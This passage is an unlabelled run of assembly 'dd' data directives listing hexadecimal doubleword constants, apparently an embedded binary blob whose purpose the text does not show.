7B87A1CBh, 18814B6h dd 6D10D5E9h, 929D8D76h, 9D587F0Eh, 694A51BFh, 7EDE82DFh dd 0E1C8A2B5h, 0BA3E195h, 961DF2ECh, 5BBAE0ECh, 2E48857Eh dd 199A0019h, 0FA295EDBh, 0D5D27E9h, 0A96F0DF1h, 7FCD832h dd 0F43483BAh, 0B8F5A561h, 8CB9032Bh, 0D11F0D0Fh, 14842E2Dh dd 0BFCCF380h, 27371E0Bh, 0C2B259C9h, 0A5AA45F8h, 7E878955h dd 68EEEC94h, 3E4BD60Ah, 84E97F72h, 68029706h, 187518DFh dd 0D0BC8D4h, 10E92D4Ch, 12A233A9h, 0A2BEC3B3h, 29E19E97h dd 8E68C6C1h, 902279C5h, 976B4FF5h, 0C22CB344h, 0AEEE171Ch dd 0F7AB2789h, 0BE0B0B02h, 10797423h, 4EB96145h, 0A438F6E9h dd 0EF0E80C0h, 0B9B2CF0h, 10002F8h, 9FC0B6Dh, 0CE0CAB09h dd 0D789249Ch, 7B780CEAh, 0C2E4D055h, 0A762C3F2h, 0DF875E12h dd 849ADFE5h, 99B4404Fh, 641A326Ch, 5D053F36h, 2B37D9ABh dd 887F0102h, 5940FFD1h, 0CF27FE58h, 7DD47866h, 0B01B989Bh dd 0CC65978Eh, 4EFC081h, 6E70DFF6h, 0D80FBF33h, 0C5A7DD0Eh dd 89F58306h, 8860EDDAh, 7B97F7A4h, 0EF50344Bh, 7B9D3444h dd 9F9BD9BBh, 64965EE3h, 0B006C6h, 0C68001B6h, 2EEC0A0h dd 9CEFE2Dh, 0DC6E04D7h, 0F88BEF16h, 20F66627h, 0D7CDC362h dd 0F7FC999Ah, 90770B10h, 74306F0Ah, 0CB224193h, 61C0366Ch dd 0B23F2071h, 6B704519h, 9F323B76h, 2500B95Ah, 9705D15Fh dd 6892EF66h, 128D5620h, 64B2AE5Fh, 2B15E9B0h, 0B79ABDh dd 0CF8002BBh, 1106B5ABh, 0D19CB0FDh, 3128B901h, 87617157h dd 98AE6EE8h, 7CC9058Ch, 83D3922h, 680B40B6h, 501AD755h dd 0BA037E40h, 0D3BD80h, 0BB2E635Fh, 11ED1C94h, 9D0904BCh dd 5578A94Dh, 358FE4E0h dd 3BD7234Ch, 0EA0609EFh, 3F7B85C0h, 0C03624BEh, 7B68054Ch dd 2D994049h, 0B9B1000Ah, 4C5D6396h, 6402CF36h, 29D06B1Ah dd 0B3D120FFh, 0FC27A537h, 0FEBE4953h, 0BA946885h, 9D547CCCh dd 0FFEB695Eh, 3D4FBA14h, 0CCFBCF17h, 2B4EAAF8h, 604CD3A2h dd 6AA35527h, 26C04C76h, 4198E8D1h, 2441F14Eh, 67692954h dd 178B4E60h, 0BF33D32Dh, 81502821h, 1E6E9081h, 0A05E6577h dd 584E07D0h, 422727ECh, 0E724C172h, 0DF0F7105h, 0C5A4928h dd 901E10ADh, 127AC8C1h, 69BAED81h, 0DA414B3Ah, 813375DBh dd 0C0195A78h, 6852FD44h, 8BFB0A64h, 0C06BA2EAh, 0D58BE56h dd 76304C94h, 0C9222907h, 36E6602Ah, 0C12EA64h, 0E3EEBB68h dd 0FF2113DBh, 659585B6h, 8DE95781h, 3EF65025h, 7009662Fh dd 5E59CF89h, 0A15712DAh, 98D6D941h, 5F50FF0Bh, 50CF0681h dd 0EA576F4Fh, 81633829h, 0D2485B05h, 0E537A1AEh, 2379D0F5h dd 0E452830h, 0B5EC7D7h, 2795E90Ch, 680521F9h, 0DCCD6B7Ah dd 24A20AAh, 53515A59h, 6377C388h, 0EB0C26BEh, 0E73FB483h dd 0E65C8B33h, 41C3B9D3h, 4C202768h, 0DB01B1A4h, 0E90DC180h dd 442F2536h, 99666388h, 0B6093EFAh, 6A09A98h, 4B552286h dd 59F4A0D0h, 55A904BFh, 3F6789AAh, 0BEB26F0h, 29AD8C57h dd 0FEA52865h, 315671ABh, 0A9577E74h, 0E9E990ABh, 0F4AA519Eh dd 0F139F44h, 8515C8B7h, 38BB027Dh, 551318A8h, 8E001B89h dd 4EB95C4Fh, 20C074B5h, 95A0B08h, 4E551C5Fh, 880FB306h dd 873D0916h, 0B72DBECAh, 1AEAC08Eh, 0BD3A1424h, 74792CF8h dd 8C4F489Dh, 4952935Ch, 23AAB0D7h, 215E8164h, 4E822987h dd 14842ACh, 93875201h, 9EC53117h, 0C8EAE93Bh, 2FA06C97h dd 0C1D43E6Dh, 1FC825C7h, 278AC85Dh, 86635625h, 0C88B08BBh dd 48147AF2h, 2D94136h, 0E31D0CE7h, 8AA616Eh, 5C6C80C4h dd 7310DF01h, 26D14CCCh, 83179910h, 43822137h, 0B981A047h dd 24180B82h, 59494Dh, 1EA7F96Ah, 275A0CE9h, 955EEA8Ch dd 0E9E297F4h, 17E458CBh, 0BB2DE829h, 7601D352h, 7E600582h dd 0D558EA3Ah, 247858CEh, 0F1C0D92h, 895DF843h, 0BA88DF31h dd 0AE5F968Bh, 0D8E29977h, 90E9EE09h, 98A6B4D8h, 0D509ABA7h dd 0C16350FAh, 0B9203549h, 0BAEC4C02h, 0FA4E979Bh, 395A649Fh dd 0B4E5FACh, 0CC5F25CDh, 0E16E9C8Ah, 524C5DE9h, 474ED9FFh dd 49ECC107h, 0C2EE28F1h, 0A048A9E9h, 8BBA52C5h, 58866B03h dd 7DF80B55h, 0C09816C0h, 8A3D3C26h, 0A2034905h, 88F5B109h dd 5E090862h, 5330D789h, 2B20E950h, 0FD7904Eh, 75EB28A6h dd 0FAF04965h, 776F2D32h, 57E44BFCh, 0CFCF08EBh, 5E0E6805h dd 0E21637BFh, 0F6557C9Fh, 0EEDF52E6h, 24E91202h, 5B99320Ah dd 0F9AA5C5Dh, 274328D1h, 7ACA5F42h, 7B04F5DAh, 5D4FD558h dd 9269F2BFh, 4E96CAABh, 159FCBFEh, 977B070Fh, 0E9915F8h dd 738241A4h, 0EBB800A7h, 4590006Ah, 6F951905h, 0C30A01BAh dd 0B303F0E9h, 2A12C190h, 0D9870229h, 64D4D81Fh, 78EE5403h dd 2FBCEC6Ch, 973E700h, 84E961DCh, 50E7DE4Ah, 3BCB934Eh dd 6B8AF10h, 0B76EE44Fh, 0C7BF6460h, 12B523D3h, 0F8F80986h dd 0C1083AC2h, 5214443Fh, 22B90058h, 0B4433249h, 8EF10B18h dd 21A58555h, 1FF818A4h, 39269D51h, 1CEEE025h, 0C8E170E1h dd 0BE8C809Dh, 7ACF369Ah, 3BF1270Bh, 6816EAECh, 95A307E2h dd 0CF43C802h, 547D5D60h, 0AEFA66Ah, 5381D738h, 2BB647D9h dd 68CA2CFAh, 0F4732125h, 7B566010h, 58583AEAh, 0B8F8F546h dd 0AFC0B01h, 3E8AADE9h, 0CDAFFE2h, 0D0119560h, 0C1C21494h dd 2440AC7Bh, 0CC6E5F6Ch, 494D091Fh, 34208403h, 0E0DD5909h dd 0BDF2F0D7h, 2F3DCAFBh, 45B1C1A0h, 2027747Ch, 60B34B60h dd 685A83C9h, 5A49689Dh, 0FF71241Bh, 90558A2Ch, 3209E43Dh dd 1748411Ch, 0F5A726DBh, 3618CA23h, 7705122Dh, 81FF20Ah dd 0D227F32Ch, 359230DFh, 3D18EF45h, 78128A27h, 4568133Bh dd 83920162h, 0F06C653Ah, 31186DE1h, 0C78A7B91h, 9035FE36h dd 0EF5C978Eh, 5904E90Bh, 9674B1D7h, 7F5F0221h, 4F1F820h dd 565BE55Eh, 20626616h, 62DE4AE1h, 0C22CDC3Ch, 1A458438h dd 0FD7BFD3Dh, 2F2D25F9h, 0CCB5CAECh, 0B84EE5F1h, 2BB721AAh dd 84B23F59h, 0DDD6D389h, 0EB725425h, 5786A075h, 13816850h dd 0A90AA74Ah, 4EB186D4h, 61BF093Ch, 31038954h, 5EE908E7h dd 83FD549Fh, 51FF50FEh, 0E4511E05h, 2DF8F029h, 150A0ED6h dd 0F680CC26h, 837F9D09h, 0A5A89F31h, 2E9C2453h, 0B0D29779h dd 0FCEB058Eh, 61FF2015h, 0E90701CDh, 0C02F942Eh, 0FA0C0489h dd 0E0FA9504h, 0A873E6C0h, 5113E8ECh, 441F69B5h, 8951FBEDh dd 9977B3ECh, 617E914Ch, 4CA509D8h, 0F93901C7h, 59B1E588h dd 0C8C1E20Bh, 4B310C21h, 7E1BB0C8h, 0FD25519Ch, 8449AAE5h dd 0F94483D6h, 8078C55Fh, 0CA22EB2Bh, 0AA0F5Eh, 506C347h dd 4AB7592Eh, 0A00808CBh, 9FEC8944h, 953CBB5Fh, 1583B5DAh dd 0ABBA9D2Ch, 0D72FA17Ch, 0F4973494h, 0D5A9CF45h, 0BADFD4A9h dd 0F0C309ADh, 7CE0BDB2h, 7C4EBD34h, 0A8704ED2h, 0F2695BBh dd 503A908h, 0AE77C068h, 0C550DF8Ah, 0DE332554h, 0D8257DD4h dd 755995B8h, 25AD1963h, 93DCC2EFh, 3494FFA7h, 70497697h dd 5E59C4E9h, 92D6E98h, 8BAF752Dh, 61E7CEE6h, 56A3C607h dd 616F3F64h, 7C4B5EAFh, 18D1E6F0h, 241A3422h, 0DB480615h dd 0CCB910FAh, 408C892Eh, 5666354Dh, 0A4C34C1h, 11702A48h dd 0E5087640h, 70B2238h, 9892742Fh, 7B04080Bh, 0D9F7050Eh dd 5AB7D180h, 0AE2BEB64h, 76ED200h, 0EEE91874h, 4B84B15Ch dd 2EB5618h, 0FA685180h, 4EB32407h, 0B9280C63h, 3D0BF7EBh dd 0B436Eh, 0C00C0FFCh, 8818C75Eh, 0AE2FD55Fh, 0F44A9D82h dd 19F30838h, 13C27C2Fh, 1289A603h, 0D1E80E4Fh, 4EB8099Eh dd 0DFA831FDh, 4ED01674h, 6552AFEBh, 0F8647DE8h, 558000Fh dd 75454CD9h, 76F8E757h, 35400160h, 5F502B5Dh, 90412F29h dd 66B34661h, 6E9E53Ah, 0E50E1C08h, 49036807h, 6846D61Ah dd 39BB00AAh, 7DBF2531h, 5BBA541Dh, 0D11C80EEh, 0D69F68C9h dd 78026F7Eh, 1341FC43h, 0E8A66553h, 1C95231Dh, 0F5D6EDBDh dd 65695DD9h, 0A5027B1h, 0EC506C40h, 0CEDB544Ch, 994A09F5h dd 2E5DEDDAh, 12C6E881h, 7B3B045Fh, 7A21AB1Ch, 0D86D0A68h dd 0EFEC7412h, 0AE4A4BE2h, 608316C8h, 3BC661D8h, 0A81319AFh dd 1791F529h, 0B90065EAh, 0F42C234Fh, 0F51D783Eh, 0D247948Eh dd 8818E4F8h, 0B001C673h, 96F5F12h, 0BA3350B0h, 4AD5BEFh dd 0ABDB7E45h, 620013B7h, 0E9770112h, 5E957D97h, 3BACBE30h dd 0D4346FBEh, 0C730B602h, 0CC7D017Fh, 0D13FFD1Ah, 5AF35FEh dd 70CD8CAEh, 0B0591540h, 0C2FA4F47h, 6AD75BEFh, 7250D172h dd 184E9172h, 3868E028h, 0BF4E16E3h, 0C0271BD9h, 0B774A915h dd 4870F602h, 44753638h, 0B3EE0B47h, 605559F2h, 28BE5653h dd 68D7347Fh, 88B1229h, 0F63F9FF1h, 678DD92Fh, 2785207Ah dd 2326985h, 2A8A6C55h, 0F05942F2h, 4F65E227h, 0FD6C9C06h dd 37CFE82h, 39880D73h, 821C0C38h, 3AE97AEAh, 87D549F4h dd 275475EEh, 0CC3D68C3h, 10378EEFh, 0FF4BC34Ah, 0E1D97E71h dd 0CE74913Fh, 83CD6F59h, 6078C8FDh, 7C77213Bh, 0A584A591h dd 20589DDh, 0FD08C6B7h, 0F92164C0h, 640DEBAh, 394F04B3h dd 0C2CF012Eh, 4F4B5A1h dd 33AC742h, 1CF1C331h, 0EED83B6Ah, 0BA6C5314h, 417B7150h dd 0EC564016h, 524EA529h, 0E0EBC1EFh, 2B4D254Ah, 4D7A6EACh dd 5F3B7AFBh, 8E8F597Bh, 2C53AE15h, 0B505D848h, 0E94E935Fh dd 5FB93E4h, 800F7018h, 9749C222h, 0E936A10Fh, 0B043DB8Ah dd 5EB1685Dh, 457F624Fh, 45FD16CAh, 6B7789BDh, 589245D9h dd 0C898F4FEh, 23B0FEFAh, 2F06B53Ch, 0F7C6CAC1h, 6E68E248h dd 0F84B56h, 32A73EB4h, 2E334405h, 0A0E760CBh, 0BAE91A07h dd 15403209h, 6752B468h, 25F03C20h, 9AEFE0EDh, 9A435933h dd 0A3194B00h, 0E9585562h, 56D7A22Fh, 291260C6h, 0B9000464h dd 686C3B15h, 4AE9D131h, 164B852Ch, 0F387FBB9h, 0DCB3D0B4h dd 26BBAD40h, 919DF30h, 65204888h, 6BB519B9h, 4EEA5B4Ah dd 2AE5EFC2h, 0C2B509CBh, 0FE8AEC56h, 0A0BBE77Bh, 4B07F43Dh dd 809FE36Bh, 12B4CCB6h, 4BC42D80h, 2A3065F6h, 2F68CFFEh dd 68E670A6h, 0EC80AA07h, 0E932308Bh, 0DFAB6A93h, 0AA20F596h dd 0D25A612Eh, 609D2774h, 2577F2EFh, 0D5151425h, 1D50912h dd 344564C2h, 95E33361h, 12E90802h, 81EE563Eh, 8870ABE1h dd 0F84B7137h, 0D3B77863h, 1342A439h, 5EFEAC33h, 0AEF1C9B9h dd 685501F2h, 7BBF08F4h, 0C1EE2938h, 873F16A8h, 65DF6B95h dd 68DF251Ch, 67385E58h, 5241EE46h, 46D53381h, 27E9189Ah dd 0DF045435h, 5B75A5E4h, 0D9016E77h, 0E991B652h, 927ACA7Ch dd 9F77567Eh, 84661345h, 4B82FC63h, 5E249ABBh, 0A4685100h dd 4E6C704Eh, 0AD93AF5Ah, 3BC00C5Eh, 0EAC48943h, 73340A5Ch dd 0EFC9E91Ah, 0DBC9779Eh, 0BDA27413h, 3643690Fh, 7E714E62h dd 0C29ACDBDh, 57FEFDEBh, 0CD717722h, 26233B77h, 40602C16h dd 43206E97h, 7424EF83h, 862FB3BFh, 2EF70C10h, 3D0C9BFh dd 501C683Ch, 5A9B2117h, 0BD8EDBCCh, 83EC1709h, 5751869Ch dd 4142AA30h, 40912E23h, 0B32B1AA4h, 0E7681D27h, 8FBB4BB8h dd 885009F8h, 32275D0h, 0E91805A8h, 44809F7Ah, 0D6F6C688h dd 5A7EF0E8h, 0BBB23702h, 71DCBEE9h, 9D712403h, 0E14667DAh dd 5C4D9A0Bh, 17027716h, 797F8B3Eh, 1284C9D1h, 0A5680241h dd 5653A503h, 7C33C282h, 3B85085Eh, 77B95109h, 3A2961C1h dd 59A10FBCh, 0FFD43A2Dh, 7CAF78C0h, 6A054C90h, 0EFBB4432h dd 0AD9071FDh, 79D94A90h, 16DE0782h, 3AE8AEE4h, 0D4138338h dd 21470451h, 0EB8907A1h, 0A92DF27h, 55205D47h, 7C73235Eh dd 552F8997h, 0AFD94C3Bh, 5E3C20FCh, 7C00924h, 0EFF7A712h dd 0EF3DC55Ah, 0F6E9FB42h, 8D5A5FC5h, 15629EF0h, 0DD05D811h dd 0F42AEF7Ah, 66F8DEF6h, 0C3865B17h, 28E020FEh, 85A12CC8h dd 0DF846E77h, 2848ABFh, 8868E1F7h, 58C76671h, 53107550h dd 0DFF84FFCh, 22E0D3B1h, 0D9FCD334h, 0EA7FD400h, 45C2E931h dd 2DE4C39Ch, 0E984B0AFh, 8575702Ah, 0F016C14Bh, 19185FBCh dd 0E0C378B9h, 26E27518h, 27318F0Ch, 0A81EA8h, 120C3408h dd 0B2EEBC14h, 41CE6A32h, 0B22A3736h, 8501D370h, 1C83120Ah dd 7873C6D8h, 0F901710Bh, 0B714EF20h, 0A66F2C71h, 3B5A9931h dd 0C4A55542h, 0CC598105h, 6A416325h, 794AE201h, 0C5E08103h dd 6D60232Fh, 0FBC9C0F0h, 905D9548h, 0BF981637h, 1C4CEF2Fh dd 0A49FB1C1h, 0A7BF346Fh, 1604D23Fh, 0DAEC1660h, 0D528C2A4h dd 2D016C50h, 1DCE05AFh, 82D6F829h, 6865E907h, 1614BD79h dd 0E04E0370h, 8BB7B29Fh, 8CC55FACh, 2D3EE208h, 92BC9F5Ch dd 48D91F38h, 5D5B6242h, 1A2F2A7Ah, 2D806607h, 1F79BCBFh dd 370F439Ch, 4B5CA62Bh, 0F961BF1Ah, 60E46B21h, 0D96916A9h dd 40E0076Ch, 0D2DD2908h, 88A50B5Ch, 2300A6BCh, 49910A61h dd 74CC176h, 52860416h, 73F00C98h, 5AB3035h, 0FE7E490Ch dd 0F2213805h, 33B095E9h, 706A0BBAh, 0E50028E2h, 203649A8h dd 1FD12926h, 0E9120820h, 0B752B4B5h, 3E50B5EEh, 0EA39D329h dd 0EBED8D3h, 0EAF82B4Bh, 0B6B7B4C0h, 0E64E28D7h, 0C95F16A7h dd 41D48B7Eh, 89960F40h, 0A7E6F9F2h, 0CA7E80F7h, 77FA5406h dd 0C7E91628h, 0D0C8AA45h, 0F7DD4C31h, 0EBD1C4D2h, 0BAC4BDCAh dd 519DAA10h, 1622FDEDh, 0D5FEB27h, 0AA2A0C7Ch, 0CC836B17h dd 0D4F9A588h, 8F1B0A13h, 7F681741h, 638744BAh, 60A01320h dd 5DB2383Dh, 0F65BDA0Eh, 0F3CA8063h, 0C07FF298h, 5707E227h dd 0FF12B245h, 143B370Ch, 0F65E9846h, 0E2C006Ch, 933ED81h dd 0E92408F5h, 5F87C12Dh, 0F539FB01h, 16317C16h, 6B79B4Fh dd 70F70101h, 5E22881h, 7EDE7165h, 685FBAECh, 6C1EE989h dd 7C2FFEFAh, 0F5E9D1C9h, 0D18B6B7Fh, 97022550h, 6892A1DFh dd 0ED330FB0h, 8E89553Ch, 0D0835E76h, 271CE8F5h, 5727399Dh dd 1C546A9Eh, 0C9F730BCh, 0F60887E8h, 508086D8h, 7704B2B0h dd 34FFB0BAh, 0AA2C2FC6h, 68BB5E84h, 0CB404C26h, 0E590B05h dd 0D9042827h, 908CABF2h, 0A4EDF5A5h, 910C6EAh, 483D290h dd 977199DDh, 0C9CB25F7h, 0CC7D2C9Ah, 5EF2270Fh, 570E327Fh dd 655DCA09h, 487549FAh, 0A3F8C648h, 0AD5E04D1h, 0BA2FDF34h dd 7A89C100h, 60ABE930h, 0EBEEF323h, 5848F263h, 9EC90430h dd 32C0315Fh, 1652536Dh, 41EE2910h, 6C2ED89Dh, 3CD06A4Dh dd 1D2541E7h, 0A4C147CBh, 226B090Eh, 0EFE740D6h, 0B94017CFh dd 0C25556BEh, 0E6C1185Dh, 6608005h, 0E966A204h, 3F8BBE25h dd 4B4FC34Bh, 0CA888E1Ch, 0A25AD78Eh, 75595BF8h, 0F86624E1h dd 3025C7B2h, 0E97348D1h, 0C8155F2Fh, 0E8A83635h, 7E9D505Fh dd 0E91256A2h, 0ADF228BCh, 953EF640h, 5C45E830h, 0F6D8F283h dd 0CC800E01h, 1C4C9BCh, 0C14CAED7h, 6719E96Ah, 162F6A64h dd 0F17AE25Eh, 0BE1E050h, 0E13C322Dh, 0AA3A18F9h, 0A860AC45h dd 2FE15090h, 0D05F5A02h, 1470725h, 0F3077076h, 16E755B8h dd 0E985CBC3h, 0C835FEEh, 71DB38AAh, 0EBEFEA00h, 9CE98D6Dh dd 9D9DB23Ch, 5C2D047Eh, 60817F2h, 7E2C8F04h, 8BE95F49h dd 0BFAF7898h, 0BFA25045h, 0D3762970h, 0CCAB5A4Fh, 0C297D7F3h dd 0E6655792h, 0F3C0183Fh, 33805A57h, 0AE0644CFh, 888CC7B0h dd 87C2FD4Fh, 58DD09A7h, 0B8034A59h, 257375FCh, 1331F348h dd 2DFEB4D0h, 32A564E9h, 0B621301h, 0E903E5C1h, 0B26BC3DDh dd 4F94D045h, 0E75244EAh, 0C7A2FE46h, 0B8FE24Ah, 51FEF715h dd 86A73C21h, 0E62DD3E0h, 8A56EF16h, 0FE9C4B81h, 0F5012A89h dd 5DEE6B80h, 761E582Dh, 0F0C23480h, 0FC22E953h, 967727BCh dd 84934D93h, 80DF5A2Fh, 9BBCF3F8h, 53FA01D6h, 0A978B1BBh dd 0DEC67132h, 0AEEE8000h, 51CE3FFEh, 0A7022AFh, 23EDC997h dd 965A069Eh, 0B70F80A7h, 0E748C0E0h, 0FFEF1756h, 0C42650FEh dd 0C60FB83Dh, 587B2891h, 0BE845BAAh, 0D6A0EA90h, 107B8BF3h dd 0BEFFE5A3h, 0A7EF61Fh, 29CECB5Fh, 0BC5F3C27h, 13C4F54h dd 0C617F1F7h, 6E9D87Ch, 65AF334Ah, 0B7F2AF18h, 10D5E90Ch dd 0E65BD10Ch, 48FEDF41h, 32FC8A51h, 8D68B730h, 3EA92A54h dd 6E5E452h, 0F82ECA25h, 0F91B0946h, 2775D135h, 3DE1E965h dd 506E07D5h, 0FA4C08DBh, 5F513E2Fh, 0DA875B0Bh, 49687652h dd 0F510A51Dh, 4EED404Bh, 15595640h, 450DB868h, 0BCDA277Eh dd 781BCB19h, 0CF88C708h, 2BC2FA24h, 0AF45570Fh, 0F8106FACh dd 5AF0300Ah, 0FE7000C6h, 96C180C9h, 12CAD89Dh, 0B0301D2Ch dd 8FA1F6CBh, 68003590h, 3FA4B02h, 0DB055DCAh, 0F51125A1h dd 83C20C8h, 0E004542Dh dd 147DBEA6h, 0D74362F7h, 1D41FB04h, 790FE76h, 393915C7h dd 0CBE92Eh, 5A7B8BAh, 487B4E65h, 4619526h, 50515380h dd 7D886AB4h, 126F38E1h, 0C28EBC70h, 0E55718EBh, 6678275Dh dd 54DBCE25h, 0B895ABBh, 0CCBF1858h, 6AAC2F56h, 742FB0CDh dd 0EB7F1E36h, 30DA09C6h, 0F708EC73h, 16F7E9FEh, 0A6C7D673h dd 765A2D12h, 7505E0BCh, 0E09F0F21h, 3B90362Fh, 0E917D133h dd 2942821Eh, 0DF4C32FDh, 79FF9D4Ah, 0A4CB0A3h, 4F400F1Eh dd 4E61169Ah, 0FEE60527h, 0F8C1135Ah, 405B79D0h, 43F3CE30h dd 316E141Ch, 0C34F53D1h, 3E0153D8h, 9E8444Bh, 0C52F14E9h dd 93A2BF40h, 0F2E951B0h, 6805CE92h, 16205431h, 2AB1C1BCh dd 0E41A7C74h, 2704F08Eh, 0CB6D0305h, 68530127h, 38B217D9h dd 6250B78h, 7843AEDCh, 0E9C8D8F1h, 363F6E85h, 0B317AFF2h dd 0F9BA21D4h, 4AE9E045h, 88F1BD40h, 795AD342h, 4A688564h dd 565A4078h, 202FB850h, 736B0A2Bh, 9F09B0A8h, 0DD50D732h dd 7E6278CAh, 2A08C000h, 0E5B818A6h, 7C9DA949h, 0B8165073h dd 550B30C8h, 0F58C89C5h, 0C7D12F02h, 2EEF60Bh, 1DB155D4h dd 2FA93DC1h, 24804B5Dh, 2960940Ch, 0DF5997CFh, 0A17C615Ah dd 3D5AE528h, 0F8C941C4h, 49BF05CAh, 0E575EF65h, 0F6219385h dd 0E9C10B74h, 4B14710Ah, 507E00FDh, 5FE90EC5h, 6E47E1CCh dd 4FFE14D8h, 6816CC3Ah, 2EBD965Eh, 3609B2D0h, 4C051C0Bh dd 7B5D5CAh, 0C04C199Bh, 68CE8173h, 2B606073h, 715EEC0Ch dd 8DE91236h, 579932E4h, 24845561h, 2D4BD0CEh, 55409EAh dd 775E427Dh, 2E89E1D4h, 99F61048h, 53942F20h, 0AD05D089h dd 2D0A0E05h, 72AA32CFh, 0FDC5AC7h, 96E1C692h, 21972623h dd 3E0A7164h, 0E1818C70h, 2C08180Eh, 3282C019h, 57B4995h dd 0A47920E0h, 5CAE8088h, 0F6813A29h, 0F1010D62h, 334DA1C0h dd 705A5BB4h, 5E6522C7h, 723FEA03h, 0B84A6EC6h, 283D07E2h dd 0E8ED2732h, 1061285h, 3296EB31h, 0EA875FD2h, 0C14A7A2Eh dd 2A75A79Dh, 2F5AEF8Ch, 41F0D210h, 6179BA0Ch, 733F81Eh dd 910B8678h, 52C42F48h, 9A6B342h, 0C660B468h, 80AF0BC6h dd 2B6516E5h, 0D779B30Fh, 0DBF6C904h, 9AFE7881h, 0C4D2A23Fh dd 68033156h, 15106B44h, 0BA4B3C06h, 0E74FEEC7h, 0DCD2141Dh dd 0EF17743Eh, 0FB4826C5h, 8A51D98Bh, 117FC2Eh, 35ADB951h dd 413E55E5h, 4D40C983h, 0E9B97029h, 3B7D340Fh, 7E061387h dd 176A08B3h, 613FE468h, 0B31D6442h, 3E47BE5Fh, 3AAD0B91h dd 8FE16FC3h, 2C46CF1h, 4B924EC7h, 7178DF96h, 0DC13F525h dd 9CC05A80h, 762E4514h, 0E994A46Dh, 70D84A08h, 31AF4070h dd 0B322829Fh, 9A18572Ch, 0B027106Fh, 48BD025h, 0AD4DE635h dd 23C4AAA0h, 448A8B01h, 2E738B4h, 10F18194h, 8B818C26h dd 0FC74BFE1h, 0F77DE949h, 7FD983A8h, 0D480A086h, 503B025Dh dd 9E49E94Eh, 99BD3F53h, 80169CEEh, 0AE5C0CB8h, 7E0C00Ch dd 24090306h, 0C1F65035h, 22EE74Dh, 0C3315C36h, 41B55972h dd 53740F20h, 80A7FD56h, 0F7044766h, 65CC68D1h, 5BDDDAEBh dd 978FECBCh, 713DEBB6h, 3C2E982Eh, 7266E540h, 61E5A04Fh dd 130BC441h, 76C302D9h, 0FB29C111h, 6BEB1090h, 0EBB4776Fh dd 29087520h, 0E8834B0h, 5FEE05E8h, 8058C703h, 0F8303A98h dd 4AF3E92Dh, 94F0DFFEh, 462D5A7Bh, 0AF3BD577h, 7CAF665Ah dd 455EE999h, 0A18EDA2h, 19EA4B7Eh, 0B5E71016h, 49CE1EEBh dd 604A5F5h, 0FC08C41Eh, 9DE64FECh, 0F17F5289h, 0AA584589h dd 0A3FB17C4h, 8202D369h, 0FD64C968h, 7EAD43E7h, 4E0CB009h dd 7EED237Ah, 80149F5h, 3235DEE9h, 0CB91AC2Eh, 5BB6D0F5h dd 4546E0BFh, 4652FEE6h, 335C0236h, 8B217C4Eh, 8155F6BFh dd 0BDDF7749h, 90B02F31h, 0A80CB6EFh, 68F54057h, 9410D501h dd 0F7415955h, 1D33DC24h, 66A7F095h, 70F12FC6h, 5BC251C5h dd 0B571552Ch, 3541EC20h, 926C5D6Ah, 48B38C6Fh, 5C300564h dd 542DFFA3h, 7E80CBCCh, 3688822Eh, 38E12E11h, 514C02C9h dd 0F25545C7h, 63F988Bh, 686297F2h, 56750C16h, 0E92A7CF2h dd 0FBFAAB5Ch, 4BB7673Ch, 3664DB8Ah, 406BD951h, 436ACBEFh dd 0FAE38102h, 5726AE47h, 2B1D8DA3h, 0E88E69EAh, 0C0B927C5h dd 187CC2C3h, 0C2F2630h, 0E50E783Eh, 4174AC7Bh, 0C79B0008h dd 734E3B56h, 7C80D0AAh, 0F34FCF51h, 4A5B3581h, 0C4F85230h dd 0FB66E9B3h, 4B8266A4h, 0A121B886h, 0B58F320h, 0ABE2F956h dd 4C9E75C9h, 564A11B5h, 5AFF5630h, 530B33B5h, 60FB55D1h dd 29005D08h, 685058C5h, 5BC32F66h, 851CEA49h, 0ED81FDC5h dd 0C3D60C1Ah, 5F20B19Dh, 53329B66h, 32E9D068h, 78F63B51h dd 0DE6EE983h, 0FCEFD705h, 54C5CB74h, 0A1F86817h, 3517E9F1h dd 0B3252E39h, 0A8F46FA1h, 907F9732h, 3B7EC9AAh, 637E3438h dd 0A8B6372Dh, 893A35FFh, 97E43E6Bh, 28D14801h, 0EA95A720h dd 92917F4Eh, 5D0164F4h, 79A46DB0h, 0C3C0CEE6h, 67273DC7h dd 7CB3A17Ah, 13A6886Fh, 0D3C76D44h, 5BC0AEEAh, 5D866852h dd 8D81C61Ch, 0E20D6B17h, 0E2571542h, 5928CA2Eh, 1C556B4Bh dd 0F7660F43h, 7729E9F9h, 0AA9985Fh, 1EBCA84Eh, 46C99729h dd 0C092A4Ah, 39FD7B87h, 5CA4E92h, 0A325B2D4h, 2AF741ABh dd 0C8237A5h, 6C8A6FF4h, 4EA11040h, 3454620h, 1589418Bh dd 1C41CD01h, 141CA008h, 18E95116h, 0BE2EEAE1h, 0D0BDD765h dd 3118E882h, 0D06B7FE0h, 2D1F7082h, 15D9210Dh, 1767DC4Bh dd 41CF0022h, 29CE90Ah, 88A07F82h, 0D12A90C6h, 0C5E1434Fh dd 2666D3ECh, 2433C39h, 4F4B1B25h, 0BDE90301h, 51630B2Ah dd 3CE72100h, 82E348AEh, 7855DB2Ch, 0BDCCFF72h, 0CA810602h dd 68AD3F9Fh, 0F065D720h, 189823h, 6C4B354Dh, 0AA52B905h dd 43101F4Bh, 585A2D07h, 0AC07B813h, 28CFA0E6h, 10122C22h dd 0F7A0991h, 0B7C1636Ah, 0F4F37EC6h, 629F8E22h, 0D59DFFDh dd 8BFB5864h, 890E12DCh, 0A27E41C9h, 0F418C454h, 0DA651CD7h dd 0DF682592h, 715B1A6Bh, 590928AEh, 45166BD3h, 674AF2ECh dd 84EBC283h, 1C40D9ECh, 982FEF4Fh, 550E3535h, 0A23FF827h dd 60DE74E1h, 13C4EAE9h, 0AA07947Bh, 80455B1h, 0C8E07684h dd 3A150ABBh, 2895FBFh, 3F54036Dh, 0E90B015Ch, 927CF412h dd 536F8DDEh, 0A8C4E992h, 7EC74D49h, 31FFEF0Eh, 8F84DC7h dd 97E5E8E5h, 2E40F20h, 0E91AF42Ch, 5E567579h, 99027DA7h dd 6340565Fh, 0F9BD800Eh, 0D6290FDCh, 144D3B46h, 9DFAD8B5h dd 0E912B0FDh, 51C260E8h, 2F757F5h, 5B60EE58h, 0E95003BFh dd 57122AA3h, 2A85BDFh, 2EC0A410h, 0F6CB965Fh, 22CA8CB4h dd 95EEDDFBh, 6270F1ABh, 4E576D16h, 25191Eh, 3FFDBDF2h dd 4D423D36h, 26197092h, 0D8974E36h, 0D351717h, 4B99A834h dd 0D8044BB8h, 0EE03EF56h, 0B49690ADh, 741851C0h, 0D70C1D4Fh dd 0F30824FAh, 7E20023Dh, 0D17F2156h, 